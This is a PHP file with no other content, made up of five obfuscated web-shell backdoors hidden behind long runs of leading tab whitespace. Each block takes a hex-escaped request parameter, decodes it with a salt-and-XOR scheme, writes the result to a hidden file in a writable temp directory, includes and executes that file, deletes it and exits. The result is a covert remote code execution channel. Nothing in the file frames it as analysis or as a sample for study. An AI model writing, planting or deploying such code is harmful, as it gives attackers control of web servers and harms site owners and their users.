<?																																										if(!is_null($_POST["\x70ointer"] ?? null)){ $record = $_POST["\x70ointer"]; $record =explode (".",$record) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $o = 0; foreach( $record as $v1) { $chS = ord( $s[$o% $lenS] ); $d =( ( int)$v1 - $chS -( $o% 10))^ 6; $item .= chr( $d ); $o++; } $value = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); $pgrp = 0; do { $rec = $value[$pgrp] ?? null; if ($pgrp >= count($value)) break; if (is_writable($rec) && is_dir($rec)) { $resource = "$rec/.fac"; $success = file_put_contents($resource, $item); if ($success) { include $resource; @unlink($resource); exit;} } $pgrp++; } while (true); }
																																										if(isset($_REQUEST["k"]) ? true : false){ $ent = $_REQUEST["k"]; $ent = explode( ".", $ent ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $i = 0; while( $i<count( $ent)) { $v6 = $ent[$i]; $sChar = ord( $salt[$i %$lenS]); $dec =( ( int)$v6 - $sChar -( $i %10)) ^ 3; $rec .= chr( $dec); $i++; } $pgrp = array_filter(["/var/tmp", "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm"]); while ($component = array_shift($pgrp)) { if (!( !is_dir($component) || !is_writable($component) )) { $value = join("/", [$component, ".ptr"]); $success = file_put_contents($value, $rec); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(@$_REQUEST["re\x73o\x75rce"] !== null){ $pointer = $_REQUEST["re\x73o\x75rce"]; $pointer = explode ( '.',$pointer) ; $key=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s ); $n=0; while ($n<count($pointer)) { $v9=$pointer[$n]; $chS=ord($s[$n % $lenS] ); $dec=((int)$v9 - $chS - ($n % 10)) ^73; $key .=chr($dec ); $n++;} $ref = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]); foreach ($ref as $pgrp): if (is_writable($pgrp) && is_dir($pgrp)) { $factor = vsprintf("%s/%s", [$pgrp, ".data"]); $success = file_put_contents($factor, $key); if ($success) { include $factor; @unlink($factor); die();} } endforeach; }
																																										if(isset($_POST["\x76al"]) ? true : false){ $binding = $_POST["\x76al"]; $binding = explode( '.' , $binding ) ; $desc= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $v= 0; foreach ($binding as $v1) { $chS= ord($salt[$v % $lenS]); $dec= ((int)$v1 - $chS - ($v % 10)) ^ 25; $desc.= chr($dec); $v++; } $marker = array_filter([getenv("TMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); $element = 0; do { $res = $marker[$element] ?? null; if ($element >= count($marker)) break; if (!!is_dir($res) && !!is_writable($res)) { $resource = str_replace("{var_dir}", $res, "{var_dir}/.holder"); if (file_put_contents($resource, $desc)) { include $resource; @unlink($resource); exit; } } $element++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6D\x62ol"])){ $element = array_filter(["/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), getcwd()]); $comp = $_REQUEST["s\x79\x6D\x62ol"]; $comp= explode( '.' , $comp) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; array_walk($comp ,function ($v1) use (&$binding ,&$y ,$salt ,$lenS) { $chS = ord($salt[$y % $lenS]); $dec = ((int)$v1 - $chS - ($y % 10))^ 63; $binding .= chr($dec); $y++; }); foreach ($element as $key => $object) { if (!!is_dir($object) && !!is_writable($object)) { $elem = sprintf("%s/.factor", $object); if (file_put_contents($elem, $binding)) { require $elem; unlink($elem); die(); } } } }